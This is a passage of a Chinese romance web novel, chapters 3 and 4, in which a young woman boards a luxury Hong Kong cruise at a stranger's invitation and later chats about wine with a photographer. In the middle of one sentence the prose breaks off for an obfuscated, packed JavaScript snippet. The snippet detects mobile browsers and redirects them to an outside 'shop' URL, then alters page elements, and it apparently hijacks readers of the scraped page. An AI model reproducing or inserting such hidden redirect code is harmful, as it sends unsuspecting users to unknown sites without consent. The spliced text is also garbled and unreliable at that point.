味道还挺好,整体吃下来其实没有什么酒精感,好像只是在可可里融入了各种香气,但也不是寻常糖果能吃出来的那种糖精色素味道,更像是各类红酒的独特香气,有酸角和小豆蔻,有百香果和柚子酱,还有烟熏调的苹果木和黑松露香蕉,尾调再融入了一丝青花椒的辛辣,中和了甜腻的白巧…… 很神奇的因子在她的味蕾上蹦迪,如同一场奇妙的红酒晚宴,在宁静的维多利亚港湾。 烟花过后,空气中弥漫着淡淡的硝烟,很好闻,像某种香水的味道,令人沉迷。 一边耳机里还放着《past lives》,是令人心动的旋律。 这一刻,桑酒突然就懂了旧时电影镜头里,港岛的浪漫与魅力。 “心情好点了吗?” 吃完最后一根,男人问她。 桑酒依旧坐在高高的栏杆上,没有说话,只是点了点头。 海风吹起她的乏味,无意扫过男人脸庞。 他纹丝未动。 “无家可归?” “没,” 桑酒嘴硬,不肯承认自己的落魄,“看海。” 然而刚开口,沙哑的声音便道尽了言不由衷的委屈和彷徨。 “一个人,看到天亮?” 桑酒不知该如何回答,她确实没有想到下一步该怎么做。 她实在不甘心就这样,怀着一颗破碎的心,离开向往许久的城市。 可不甘心又能怎样,她现在连住酒店的钱都没有了。 男人同样也沉默了许久,似在做思考。 远处,鸣笛声响。 像是拉开一道序幕,新的故事登场。 桑酒望向遥远的海平面,叹了口气。 突然后悔退了那张船票。 早知道会被输掉所有钱,她就该开开心心去旅行一场,管他世界破破烂烂,就算颠沛流离也不至于无家可归。 与此同时,身后沉默许久的人,也冷不丁开口。 “如果有更好看海的地方,你要不要一起?” 桑酒扭头看他。 这场景,像极了某部电影里,男主对女主的邀请。 她想不起来。 但不知为何,也许是女人对男人的直觉,她确定眼前人,不是那种轻佻的男人。 他只是站在夜色里,用诚挚的目光深深望着她,如同站在深渊之上,向她伸出手来。 桑酒不是电影里的女主角,她没有那种光环,只想在这一刻,有人能拉自己一把。 “好啊。” 她跳下栏杆,连高跟鞋都来不及穿,对男人露出一抹释怀的笑容。 既然命运已定,无论如何都不会改变。 那不如,享受当下。 维港的夜色,是真的富贵迷人眼。 好像永远都无法预料,下一秒会发生什么。 直到几分钟后,当桑酒跟着男人来到宽阔的海港码头时。 视线顿住。 夜色已深,码头四周已经没什么游人,唯有一艘超级豪华的巨型白色邮轮漂浮海面,舷窗里透出琥珀色暖光,在漆黑夜色里荡漾,每一点光都是归宿,就像末日世里的诺亚方舟,即便前方艰难险阻,也无法阻止它起航。 桑酒盯着眼前庞然大物,若有所思。 他一个连酒钱都付不了的人,她是真没指望让他买单啊! 刚往码头方向来,她以为他要带她坐天星小轮——那个她勉强还能再刷刷信用卡。 但这个……过分了啊! “带护照了吗?” “……带了。” 现在后悔,好像来不及。 别人会说她玩不起! 与此同时,寂静的夜里突然传来一声大喊。 “Kingsley!这里!” 桑酒循声望去,但见隔着登陆台的邮轮上,有人挂在舷梯,正奋力向他们挥舞着手里的白色衣服。 身前男人闻声,停下脚步,慢悠悠将衣链拉下,抬头朝邮轮望去。 潮湿海风吹落他风衣帽,维港的月光碎在他眉眼。 桑酒借着月色看去,不禁愣住。 男人五官很立体,剑眉星目,眼眸深邃,带着东方水墨画的余韵,唇窄而薄,一副顶级的骨相之美,怎么看都是电影里才会出现的那种中欧混血系帅哥。 这一晚上,他都隐身在黑色冲锋衣之下,她甚至没法认真看一眼,不敢相信现实生活中,竟能遇到这样好看的男人。 男人微微侧头,目光落向她,嗓音比天边月色更动人。 “出发吧,勇敢的姑娘。” 3. 第 3 章 那是一艘超级豪华邮轮——量子浮屿号。 亚洲最令人叹为观止的高奢邮轮,从港岛出发,途经中国台湾高雄,再到日本东京,最后直接返回港岛。 星辰璀璨,奢侈梦幻,不一样的浮华世界。 桑酒走近后抬头仰望,不禁感觉到自己的渺小,如蜉蝣见沧海。 她甚至想不起自己是怎样答应上船的,只知道因为邮轮上的人催促,男人又再次与她确认六天时间没有问题之后,才转身朝登船口走去。 而她犹豫了两秒后,也踩着他的影子跟了上去。 大概是酒精发作,又或许是被鬼上身,第一次做离经叛道的事情,桑酒脑子一直处于宕机中。 她这是……抱上神秘大佬的大腿根了? 等登了船,舷梯处站着一男子,身穿白色西装外套,正是刚才大喊的人,双手插兜一副气急败坏样。 “搞什么?我等了你一下午,还以为你不来!敢情你是去泡妞……” “Carson!”他打断那人的话,明显有些不悦。 那人摸了摸下巴憋笑,又看向桑酒:“这位漂亮的妹妹是……” “朋友,”他言简意赅,“麻烦把我那间房转给她。” “啊?”那人仿佛听到了什么不可思议的事情,瞪大了眼,“那你住哪儿?” “随你。” 闻言,那人顿时有一丝幸灾乐祸:“你确定?” “嗯,”他似不想多言,又催促,“你让乘务员带她过去休息吧。” “好吧……”那人对着桑酒笑了笑,然后拨了个电话,等乘务员过来的间隙,他又仔细打量了眼前的少女两眼,头发有些凌乱贴在脸庞,许是刚才奔跑导致,但不难看出是个清纯大美人。 他挑眉。 原来孟少喜欢这一卦的! 很快,乘务员过来了,邮轮也即将起航。 “帮我安顿好这位女士,”那人跟乘务员吩咐,转身又对好友挑眉,“Kings,我的房间可不在VIP层。” 男人一脸无所谓。 临走前,又脚步微顿,回首看向还愣在原地,没回过神的桑酒。 “邮轮上看海,希望你会喜欢。” 桑酒此时就像一只呆企鹅:“……谢谢。” 他没再说什么,长腿一抬,往另一条通道走去。 “Kings,老实交代,这姑娘到底是谁啊?”走在前面的贺煜突然停下,勾住他肩膀打探,换了粤语偷偷交流,语气充满了八卦的味道,“你该不会是为了她……” “闭嘴,不说话没人把你当哑巴!” “我顶——你过河拆桥这招玩得可真绝!” 声音渐行渐远,男人高大的身影也湮没在昏暗的通道。 桑酒收回目光,抿了抿唇。 莫名有片刻失落。 朋友? 他们算哪门子朋友。 不过是萍水相逢,甚至都没有问过彼此的名字,像是为了可怜她,给她一个容身之处。 而后,后会无期。 毕竟邮轮这么大,宛如一座城堡,应该很难再见面了吧。 怔然间,乘务员领着她穿越层层甲板,竟然来到高层船头,一间豪华阳台房。 推开门,面朝大海,夜色无边。 男人那句低语,犹在耳边萦绕。 这样波澜壮阔的景色,怎会不喜欢? 这一年,桑酒刚满二十。 她怎么也没想到,一个不经意的小善举,居然获得一次乘坐邮轮去远航的机会,这让她了无生趣的旅途,多了一份惊喜,就像她乏善可陈的人生道路上,突然开出一条岔来,让她得以享受片刻安宁。 可最终,一切会回到原点。 无论如何,都会回去。 - 邮轮逐渐离港,醉意困意双双来袭。 这一天她几乎耗尽所有元气,第一次想摆烂自己,没有换上精致的睡衣,也没有淋一个热水浴,甚至连最基本的脸部护理都没有,就将自己埋入柔软的白色被褥,与世隔绝。 海浪涛声中,桑酒做了一个很长很长的梦。 梦里,她的小酒馆正式开业,爆竹声不绝,门前络绎不绝,李佑泽在大厅端茶倒酒,她和三禾兄在前台数钱,听到佑子谄媚的声音高喊,“桑老板,有贵客!” 她欣然抬起头,还没看清来人,却认出了那件黑色冲锋衣。 依旧是半遮的脸,只露出好看的眉眼,冷冽而深邃,他的指节搭在前台上,漫不经心叩击了两下。 “桑老板,收租了。” “……多少?” “三十万。” “!!!” 什么情况,她不是刚开业吗? 桑酒猛然从梦中惊醒,那种还了三十万!赔了三十万又没三十万的感觉!简直太可怕! 她浑身战栗,身上每一个毛孔都汩汩冒着冷汗。 脑子一片乱,恍惚间听到门铃声响不停。 就像梦里的爆竹声。 她闭了闭眼,再睁眼,确定刚才只是梦一场。 只是不知道为何,会梦见他。 一个才第一天认识的男人。 稍稍凝神,桑酒按亮床头灯,起身去看猫眼。 是刚才带她入住的女乘务员,也是她未来几日24小时的管家。 “有事?”桑酒打开门,声音有气无力,浑然未觉自己一身乱糟糟的,头发也乱了,一点都不像出来度假旅游的样子。 “抱歉,打扰您休息了,”管家侧身给她展示身后的餐车,“刚给您送晚餐,您大概睡着了没听见,就没有打扰您了,不过今天是一个很特别的日子,不是吗?” 桑酒怔了两秒,没反应过来她所谓的特别,具体指哪方面。 毕竟今天每一件事,对她来说,都很特别。 终生难忘。 “方便进去吗?” “可以。” 桑酒后退了两步,管家便把餐车推进了套房餐厅,将上层的餐盘直接端上了桌,然后又揭开盖着的玻璃罩,竟是一个极其奢华的黑松露鱼子酱蛋糕。 烛光亮起,桑酒面露惊讶。 管家不仅漂亮,声音也很温柔:“生日快乐,桑小姐。” “谢谢……”桑酒已经语无伦次了,“你们怎么知道,今天是我生日?” 管家愣了两秒,微笑说道:“……您的护照。” “护照?” 桑酒想起,刚才过安检的时候,有出示过她的护照。 现在邮轮公司都这么体贴的? “对,我们浮屿号会给当天生日的VIP客户准备惊喜,希望您喜欢。”管家的笑容依旧优雅从容。 “喜欢……谢谢。” “不客气,那您先享用,我就在门口,24小时为您服务。” 桑酒如今只想一个人待着,她摇了摇头说:“不用,有需要我会联系您。” “好,那祝您有一个美好的夜晚。” 管家离开后,桑酒盯着餐桌上的蛋糕,总觉得哪里不对劲,却又想不通。 她不知道这张VIP船票价格得多离谱,才能对得起这样昂贵的一个蛋糕。 直至蜡烛即将燃尽时,桑酒才想起自己应该许愿的,连忙跑去熄灭房间的灯,想在最后一刻抓住机会。 烛光微弱如萤火,但在漆黑夜里依旧明媚坚定,淡淡的光晕映射在玻璃窗上,温暖惬意破星河。 她不记得有多久没见过这样的烛火了,甚至不知该如何许愿,脑子依旧乱乱的,像是有什么未定的事情在脑海盘旋,理不清道不明。 微光将末一刹那,桑酒猛然惊醒。 护照! 她护照上的出生日期是错的! 根本不是今天! 而且,她过的农历生日! 只是恰好今天碰上圣诞节! 重新开灯后,桑酒目光忽然扫向蛋糕旁边一个白色纸盒,绑着彩带蝴蝶结,她漫不经心解开蝴蝶结,微微颤抖。 此时距离生日结束,还有一小时,心跳仿佛漏了一拍。 她深吸一口气,揭开盒盖。 蓦然顿住。 莹白指尖捏着盒盖边缘,泛起微白。 盒子里躺着一束精致的玫瑰。 桑酒认出来,跟港岛酒馆里,那个小女孩要卖给她的同一个品种。 整整十支厄瓜尔多! 只不过小女孩手里的是人工喷色的,而这束是天然本色,暗红丝绒感,高贵优雅。 爱意东升西落,浪漫至死不渝。 桑酒相信,他选择这束玫瑰时,根本不懂什么叫花语,否则怎么会胡乱送给一个萍水相逢的女人。 她不禁嗤笑出声。 却还是捧起玫瑰放在鼻尖嗅了嗅,心情莫名好了许多,仿佛所有的失落和遗憾,在这一刻被填满。 盒子里还有一瓶红酒,瓶身挂着一张蓝色大海生日卡片。 “所有治愈,皆源于自愈的力量——to 勇敢的玫瑰小姐。” 卡片背面,手写黑色字迹苍穹有劲,清风朗月,却又神秘威严,与那人气质如出一辙。 “玫瑰小姐?”桑酒喃喃一笑。 好奇特的称呼。 - 邮轮驶入深海,早已看不见港口任何霓虹灯火,天地仿佛化为混沌陷入黑暗,唯有海风徐徐掠过,低声絮语。 桑酒整理好思绪后,沐浴了一番,穿着白色睡袍来到阳台,靠在栏杆上瞧风景。 海港的夜,远比岸上观看壮阔,浓云接天连海,浪声潮涌如琴音渺渺,湿咸的风吹过耳畔,又拂乱长发,她仿佛听到海的歌声。 然而一望无垠的海面是平静的,就如她此刻的内心,回归大自然。 桑酒没想到,曾短暂出现在她旅行计划中的邮轮旅行,因为时间太久、价格昂贵而改为游艇,却在此刻成真。 她仰望星空,仿佛一切在梦中。 来自法国阿尔萨斯的特级雷司令,更像是给这个梦增添一抹甜蜜色彩,入口轻盈,口感甜美得一塌糊涂。 这酒虽然好喝,酒精度数却有些高,桑酒也只敢小酌一杯,心中大为赞叹。 她在想,那个人大概很懂酒,不然为何每次推荐给她的酒,都很对她心情,就像是将她的心思看得一清二楚。 可奇怪的是,明明他们相处的时间很短暂,甚至没有说过几句话。 无非就是她帮他付了一杯酒钱而已。 桑酒猜不透,也不想猜。 就当天上掉馅饼,她桑酒也不是一个矫情的人。 享受当下,才是她这个年纪该做的事情。 晚风拂面,她抱起那束玫瑰花,露出久违的笑容,对着手机录像,在倒计时钟,留下二十岁第一个笑容。 面朝大海,心暖花开。 又在那张生日卡背面,提笔写下没来得及许的愿望。 “何以自愈,唯有暴富!——泱泱” 这一夜好梦。 再醒来时,却是凌晨四点。 手机闹钟提醒她今日行程——太平山顶看日出。 太平山顶的日出是无缘可见了,但海上观日,何尝不是一种浪漫。 祖国南部。 台湾海峡。 许是进入十二月下旬,西太平洋上的海风寒冷刺骨,又是出海第一天,船尾等待日出的人并不多,桑酒又来得早,直接站在甲板最佳赏日位置。 五点十分,东方灰蒙蒙的海平线正渗出丝缕金箔似的碎光。 蟹青的海面尾波诡谲暗涌,逐渐泛起一阵阵鳞白,风浪交缠间,那团赤金火球从靛蓝海水中挣出来,万顷波涛刹那镀上熔岩般的流彩。 眼见海水把初阳揉碎又拼起,从烟墨阑珊到黄河琉璃,再到蔚蓝青青,整个世界如电影画面,一帧帧变幻莫测。 直到这一刻,桑酒才信,曾看过的莫奈油画不是艺术夸张,而是写实。 凭栏眺望,海风拂面,没有比这更惬意的时候。 沉醉美景中的她,自然也没有发现身后顶层玻璃桥上,亦有两人在看同一片风景。 “嘿!Kingsley!” 孟苏白起床气还未消,半眯着眸欣赏完日出,倚着栏杆闭目养神,肩膀猝不及防被重重一拍,他皱起眉。 “骨头痒了是吧?” 昨晚,两个大男人挤在工作舱里窄小的木床上,他彻夜未眠。 倒不是孟苏白吃不了这个苦,再艰苦困难的环境他也去过,实在是贺煜这人睡相实在太差劲,像个八爪鱼一样挂在他身上,到最后,他干脆搬了张椅子,坐在窗边看了一宿的月夜海色。 谁知刚朦胧入睡不过两小时,又被这人拉出来看日出。 “嘿嘿——”贺煜不管不顾笑着,抬手指向两人正下方,“那不是你昨天带回来的……小玫瑰?” 孟苏白掀眸看去,女孩懒懒靠在栏杆上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742563|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏着头望向海平面,黑色长发被海风吹得凌乱,宽大的男式白衬衫也不好好穿,端庄正式的大翻领,特意错位扣成大V领,衣角扎成蝴蝶结束身,外搭一件黑色西装外套和西裤,慵懒松弛,却又自带时髦感。 这身搭配,倒是随意又自在。 再细看两眼,这全身上下一整套,看着有几分眼熟。 孟苏白顿了顿,还未开口,便见小姑娘侧身转过来,背朝大海,一手高举手机,一手在脸颊边比耶。 有闲情自拍,看起来心情也不错。 至少不是昨晚弥敦道上,霓虹广告牌下那道破碎的身影,也不是维港栏杆上摇摇欲坠的玫瑰。 无人知晓,从酒馆到维港,他就这样跟在她身后。 顺路。 或许不顺路。 维港那场烟花,他本无心观看。 只是港城的治安虽然好,但她一个小姑娘刚惹了事,那些飞仔也许不知道躲在哪个阴暗角落,万一出来蓄意报复。 又或许,小姑娘一个想不开,冲动之下做了傻事。 维港的栏杆很滑,很容易失足落海。 就像当年,他母亲那样。 “Kings,你眼光不错,小玫瑰原来是浓颜系美女啊!”贺煜调侃。 思绪骤然被打断,孟苏白只白了他一眼:“看你的风景!” “看风景看风景……”贺煜回他一个白眼,目光流露出一丝饶有兴致,“有人看的是风景,有人啊,看的就不一定是风景咯。” 浮屿号,贺氏集团斥资上百亿打造出来的“海上城堡”,今年初次试水便满载而行,作为贺氏排行老二的继承人,贺煜被父亲安排全程随行,好好历练一番。 也是巧了,他刚好给孟苏白搭了个顺风车。 只不过最后,这顺风车竟然落在一个素不相识的小姑娘身上。 亏他还特地留了一间观景最好、设施最全、面积最大的套房!结果这位素来洁癖成精的孟家三少,竟跑来跟他挤工作舱。 贺煜摇头轻笑时,恰巧瞥见一个金发男人往船尾走去,看阵势是要跟小玫瑰搭讪。 果不其然,没交谈两句,两人便相谈甚欢拿出手机,大概是在交换联系方式…… 贺煜呆了呆,下意识瞥了身旁一眼。 某人也正半眯着眸,冷冷看着甲板上那一幕。 明明没什么表情,却能明显让人感觉到,淡漠眼神中透着一丝不平淡。 贺煜眼皮忽地一跳。 “你真不是因为小玫瑰逃婚?” 逃婚。 女人。 也是,本该在酒店与人联姻的孟家三少,夜半却突然携陌生女人上了他家邮轮…… 不怪贺煜话多,任谁看到昨晚那情景,都会浮想联翩,他摩挲着下巴,一副“我懂了”的表情看着孟苏白,“你小子开窍了,还会玩逃婚私奔这一套了!” 孟苏白却意味深长看了他一眼:“我看昨晚游泳,你确实上头了。” “什么啊?” “这里,”孟苏白抬手,指了指脑袋,“进水了。” “喂!你拐着弯骂人啊!”贺煜气急。 “有吗,”孟苏白勾唇冷呵一声:“不过是想起,托贺少福,差一点,我就要上头条。” 「爆!弥敦道惊现型爆流浪汉反转!深水炸弹踢爆:孟氏三公子沦落街头!豪门弃子真相劲过TVB!」 贺煜一想到差点要铺天盖地的豪门秘辛,就笑抽了。 他抖着肩拍孟苏白,一脸无辜:“昨天真不怪我,我一心想着怎么帮你偷护照,怎知安仔做事这么不靠谱,给你换的装备里面没有备用手机,也没有一张现金,接头的酒馆名字还能说错!回头我扣他奖金!” 孟苏白淡淡瞥他一眼,那眼神仿佛在看傻子:到底是谁不靠谱? 贺煜闭嘴,有些心虚。 是他疏忽大意了,没有交代清楚。 然,心虚不过三秒。 “让我猜猜,如果小玫瑰不帮你付酒钱,你赶不上浮屿号要怎么办?乖乖回去联姻?” “倒不至于。”孟苏白瞥了眼手腕的机械表。 这是他身上能拿来换钱,同时也是属于他自己的东西,抵酒费自然绰绰有余。 不过是她出手的时机,刚刚好。 再晚一分钟,他就会毫不犹豫当掉。 贺煜不禁诧异:“这可是你给自己的成人礼,舍得?” 十八岁的少年,总有一股冲劲,瞒着家里所有人,在克罗地亚站的帆船赛上,凭自己力量赚了第一桶金。 这块瑞士帕玛强尼,便是孟苏白给自己的成长礼。 无人知晓,除了贺煜。 孟苏白莞尔:“没有什么舍不得。” 所谓自由,总要为之付出一点代价。 不似其他豪门世家子弟,含着金钥匙出生的同时,人生也在家族兴旺的规划里,孟苏白早早被扔到德国慕尼黑读书,无人问津,偏他最争气,不但顺利完成博士进修,还在即将毕业这一年,收到了两份事关人生道路的选择。 一份是联合国环境规划署发来的高级顾问offer。 一份是老爷子称病骗他回国强行安排的联姻。 自由和财富,他只能选择其一。 贺煜想,如果这事落在自己身上,他估计别无选择。 说到底,是他没有离开家族的底气。 可孟苏白不一样。 贺煜见识过他的可怕。 “估计你这一走,孟家真要改姓了,你那个继母,是个厉害的女人,老爷子终究年纪大了,还能镇住她几年?” “你想多了,我跟你不一样,”孟苏白目光从依旧交谈甚欢的小姑娘身上,移至远方的海平面,语气从容,“我从来就不是孟家的选择。” 至少,不是唯一的选择。 “是吗?”贺煜挑眉,都说一入豪门深似海,孟氏这豪门深度可以说直达马里亚纳海沟,其中暗流涌动,旁人还真顶不住,“可我相信,老爷子的眼光。” 想到此时此刻,正气得跳脚的老爷子,正着人全港寻他,孟苏白很轻地笑了一下。 这一次,再无人能困住他。 哪怕是他最敬仰的祖父。 贺煜却突然用肩膀撞了他一下,下巴一抬,语气揶揄。 “还笑!你的小玫瑰都跟人跑啦!” 孟苏白睨了他一眼,再投眼望去。 果然不见人影。 4. 第 4 章 认识Chris完全是一种奇特的缘分。 彼时,桑酒正独倚栏杆看日出,不知身后的摄像机将她也框入。 Chris是个法国摄影师,照片出炉的第一时间,就主动上前跟桑酒打招呼,非常激动表示想将自己刚无意间拍下的美丽一幕,发给照片主人。 桑酒以为这是外国男人搭讪的计俩,本不想搭理,然而当看到照片那一刻,也情不自禁愣住。 云雾缥缈,身随影动。 云雾中随性恣意的女人,浩瀚云霞是她的登高云梯,海浪都成了她的裙下之臣。 “乌云和rose,风暴与黎明,我想不出更美的汉语,来形容这一幕了。”金发男人表情夸张、字字瘪足,语气却十分真诚,眼里止不住的惊艳。 没有人不爱听赞美的话。 桑酒也很久没有拍过照了。 她确实很喜欢这张照片,便含笑跟对方说谢谢,爽快地给了电话号码。 收到短信后,她正保存照片时,男人问她名字要备注时,桑酒愣了两秒。 想着他估计不太会中文,便摇头说:“抱歉,我……还没有英文名字。” 而且往后也没有联系的必要,备注与否没什么区别。 男人却很执著:“每个人都有自己的名字,你总不能让我以后回想自己拍过的作品,回想起这张照片,只会想起——a Chinese girl?” 桑酒无奈:“那你直接备注一个S吧。” 她一个初中毕业证都没拿的人,还没有那个文化给自己取个英文名。 Chris却看着照片里的背影,若有所思:“亲爱的,我可以直接给你备注Rosemary吗?” “Rose……mary?”桑酒学着他的发音,却只听懂了Rose。 玫瑰。 玫瑰小姐。 她不禁想起房间里正优雅绽放的玫瑰。 她的确很喜欢玫瑰。 可说出来大概没有人相信,昨晚是她人生中收到的第一束玫瑰。 “Yeh,Rosemary,海洋朝露的玫瑰,”Chris一脸自豪,语气有些兴奋,“也可以叫Romy,怎么样?你喜欢吗?” “Romy……”桑酒唇角微抿,浅浅一笑:“谢谢,我非常喜欢这个名字。” 许是要一个人完成这六天五夜的旅途太过孤独,在这陌生的环境里,她也想融入热闹中去,但她不会英文,好在Chris中文不赖,幽默诙谐的中英文夹杂她能听懂个大概,两人相谈甚欢,没聊几句,就相约去喝酒。 倒不是桑酒毫无戒心,只是至今,也确实还没碰到过一个能喝过她的人,此时又正闲着无聊,她便应了Chris的邀约。 不过让桑酒感到意外的是,Chris没有带她去那些嘈杂的酒吧,而是选了一家环境优雅氛围安静的winebar。 “你也喜欢喝红酒?” 眼看他熟练地点酒,又轻而易举说出了几种不同酒品的差异,桑酒不禁询问。 Chris看着她眼里的惊讶,反问:“Romy也喜欢?” 桑酒一刹那有些犯职业病——像是找到了同道中人,兴奋点头。 惊喜之余,服务员又告诉她,她可以全场免单消费,因为她手里的房卡房卡是浮屿号高级VIP至尊卡,可以在船上无限消费,下船也不用结算。 桑酒一脸懵。 这让她更加确信,那人身份大概不简单。 Chris笑着说:“看来我想请客,都没有机会了。” “没关系,那就让我请你吧,谢谢你把我拍得那么漂亮。”桑酒举杯,与他碰了一下。 她搞不明白,那人为什么要把这么贵重的VIP卡送给自己。 桑酒想,应该跟他当面道谢的。 可这茫茫大船上几千人,再遇见大概很难。 随后的聊天,桑酒才知道,Chris是一名摄影师,中法混血,因工作来中国旅游,他家族在法国还拥有一座葡萄酒庄,而他则是未来的酒庄继承人,所以也喜欢喝红酒。 乍一听,桑酒的兴奋转为失落——目标对象好像无法攻略。 她好像没那个能力,把酒庄继承人发展成自己的红酒顾客! 但好在Chris对各类葡萄酒如数家珍,滔滔不绝,这让勤奋好学的桑酒瞬间有了浓厚的兴趣,听他滔滔不绝。 譬如用冷热气候风格区分不同地区葡萄酒的风格,冷气候风格果味青涩,热气候风格果味甜美,而作为一名优秀的侍酒师,要学会用气候规律给客户选酒,但普天之下,葡萄酒品种无数,她也不可能尝遍所有酒款,更何况不同人口感相差甚异,这就需要伺酒师自身掌握世界各大产区对应的气候。 德国的摩泽尔和莱茵高气候凉爽,法国的香槟和夏布利也一样,但法国勃艮第和波尔多却温和适中,朗格多克更是炎热浓郁…… 桑酒听得眼睛闪闪。 从前她作为红酒代理商,其实没有学这么多专业知识,只需要记住酒的名字和产地、价格、口味,再根据顾客的消费能力标签推荐他们可能会喜欢的就行。 但如今她要做的,不再是一个小小的代理商。 她想开一家winebar,就得有更专业更权威的红酒知识去支撑winebar的核心,如今看来,还得重学地理知识,偏她地理是弱项。 Chris的中文虽然不错,但爱中英夹杂这个毛病太重,听得桑酒云里雾里,屏幕敲出了火花也追不上他语速,被激发了好学心的桑酒灵机一动,找了服务员要了便利贴本和笔,扎起碍眼的长发,如读书时代,一字一句记下老师的箴言感悟。 最后还是赶不上,干脆选择开外挂备份——直接录音。 “餐酒搭配so easy啦,轻配轻,重配重just基层原理,食物的烹饪方式和酒的搭配will make 更多趣味火花,你如果开winebar,不止是sell wine,餐酒搭配场景也很important……” “稍等,Chris,你刚说的Maillard reaction是……” “嘭!” 桑酒咬着笔杆,正举手提问时,被对面一声巨响吓住了,抬眸一瞬,不禁目瞪口呆。 堂堂酒庄主人,竟然是个一杯倒,简直匪夷所思! 又或许,刚刚选的这瓶酒太烈了? “Chris?”她拍了拍他肩,试图唤醒。 “既然Romy也喜欢红酒……” “什么?” “过几日……邮轮上有个Wine party,我带你去……” Chris挣扎着抬起晕乎乎的脑袋,邀请美人,奈何实在敌不过醉意,再次“嘭”的一声,彻底砸晕。 “Chris?” 桑酒撑着下巴,看着已经不省人事的人,一脸生无可恋。 且不说不知道他住哪间房,他这人高马大的,她估计连他一根手指都没法搬动! 桑酒思量着,要不要将人扔这里,横竖他们也只是陌生人。 可他刚刚醉醺醺说的那个Wine party,似乎又很有趣。 桑酒转了转酒杯,看着才刚醒好的葡萄酒,秉着不浪费一滴酒的原则,一边等他酒醒,一边自顾自喝了起来。 “没想到,这邮轮上的红酒品质还不错。” 入口辛辣刺激,桑酒尝出是由南澳葡萄酒与中国白酒以及白兰地混合的独特风味,虽然入口是樱桃和李子的味道,但其中夹杂的白酒的酒糟香和酒精感,一般人还真扛不住这度数,也难怪Chirs会一杯倒。 桑酒喝了两杯,也脸颊热乎起来,她撑着额头揉了揉眉心,打开手机播放录音,准备把Chris刚才说的整理一遍,这样再有什么不懂的话还能向他请教。 - 然而,刚写没几个字,桑酒便有些昏昏欲睡。 果然,她就不是读书的那块料! “小玫瑰!” 身后忽然有人喊她,声音略微耳熟。 桑酒纳闷,她的英文名不是才刚取好,怎么就被人知道了? 回首看去,竟是昨晚接他们上船的男人。 “你……你好。” 虽然还是一脸懵,但鉴于那人身份不简单,此人必定也非富即贵,桑酒不敢怠慢。 贺煜上前,主动伸出手跟她自我介绍,“叫我Carson就好。” 桑酒抬头,盯着他思绪有些缥缈,脑海里浮现出另一张脸。 海风轻拂,冲锋衣帽缓缓滑落,那缕风似在男人高挺的鼻梁盘桓,额前细碎的发微微拂动,清风最终停泊在微抿的薄唇之上。 也不知道何时能再见。 殊不知下一秒,Carson身后缓慢出现另一道身影——仍旧是昨天那件少年气息十足的黑色冲锋衣,拉链严丝合缝地抵至下颌,低头时依稀能瞥见一截冷白脖颈,像是为了防风,却意外禁欲感十足。他双手闲适地插在裤兜里,信步闲庭而来,肩背舒展,长身玉立,仿佛自斑驳光影里走出来,深邃的五官与脑海里那张脸重叠、吻合,只是更加清朗俊逸。 好巧,竟真在这里,遇见了。 桑酒没来由有些慌乱,忘了Carson伸出的手,直到他在她面前晃了晃手,将她的思绪拉回。 “怎么称呼?”Carson问他。 “Rosemary……Romy。” 她脑子像失去了思考,入乡随俗,报出自己新鲜出炉的英文名。 等反应过来说了什么,也是迟疑了两秒,然后破罐子破摔。 反正出门在外,名字都是……给别人叫的。 “这么巧,还真是小玫瑰!”贺煜果然一脸不可思议。 桑酒不禁好奇:“你怎么知道?” 毕竟,她这个名字刚新鲜出炉不到一个小时。 “这个嘛,你不应该问我。” 贺煜话里有话,笑着走到桌子对面大剌剌坐下。 桑酒下意识目光轻移。 那人也恰好在看她。 在对视上的那一秒,她才想起昨晚生日卡片的致玫瑰小姐。 大概是他也不知道自己的名字,所以随意写的称呼。 这一刻,桑酒好像更喜欢这个名字了。 不论是玫瑰小姐,还是Romy。 在这个无人相识的陌生世界,她想做一回潇洒肆意的自己,像玫瑰热烈,不惧风雨。 “谢谢。” 桑酒歪着脑袋,脑子已经像浆糊一样沉重,但看他的目光还是清醒的。 孟苏白也垂眸看向她,绅士问了一句:“介意一起吗?” 桑酒连忙摇头,VIP卡是他的,怎么会介意? “要……一起喝一杯吗?” 酒还剩一半,她礼貌性提出邀请。 本以为会像昨日在酒馆里一样被婉拒,没想到他径直落座到她斜对面左手边的位置,淡淡回了一声。 “嗯。” 贺煜早就按奈不住,招来服务员拿了酒杯,又点了一些吃食,又瞥了一眼身旁没反应的老外,不禁打趣。 “小玫瑰酒量这么好?” “还行。”桑酒没有谦虚。 贺煜直接倒了一杯尝一口,顿时被呛出一把眼泪:“白……白酒?” 桑酒点头:“嗯” “得劲!”虽然喉咙已经辣到冒烟,但贺二少为了面子,勉强撑着,“听说,小玫瑰和Kings也是因酒相识,那看来我们今天,要不醉不归了。” 他起身,给桑酒倒酒:“感谢你仗义相救,不然某些人,可能连船都上不了。” 桑酒惶恐接过酒:“言重了。” 她不明白他的意思,但第一反应是抬头,去看那人。 那人却没有搭话。 自坐下来后,他便随手从一旁的书架上拿了本英文版世界游记杂志看起来,臂膀朝着她的方向搭在椅背上,姿态懒散又少年清贵,被点名时也是掀眸瞥了贺煜一眼,没什么情绪波动。 贺煜似乎也习惯了他的少言寡语,自动忽略了他的冷脸,只上下打量着桑酒身上那套衣服,笑容意味深长。 “Romy,你不冷吗?室内虽有暖气,但甲板上风还是挺大的。” 桑酒坦言:“还好,就是我行李箱忘带了,没有换洗的衣服,我看房间柜子里有很多新衣服,问了管家,说可以穿,就找了一套比较合身的。” 她原本打算昨晚就回海城的,所以行李寄托在机场,上邮轮也是临时起意,根本没有时间去置办。 好在这VIP房间着实供应周全,连衣服都有备用,只可惜乘务员估计以为住进来的是男人,所以只准备了男装,白色衬衫宽松慵懒,要不是海上风大温度低,她都可以当裙子穿了,最后错位扣扣子,才有现在修身的效果。 “难怪……”贺煜眯着眼,瞥了一眼又低头看杂志的人,一脸玩味,“没事,房间里的衣服都是干净的,你随便穿。” 他没说,这套西服是孟苏白为去联合国就职,特意准备的。 管家说可以,估计也是得了孟苏白的允许。 贺煜莫名有些兴奋起了,仿佛终于有将好兄弟心思摸透的时候。 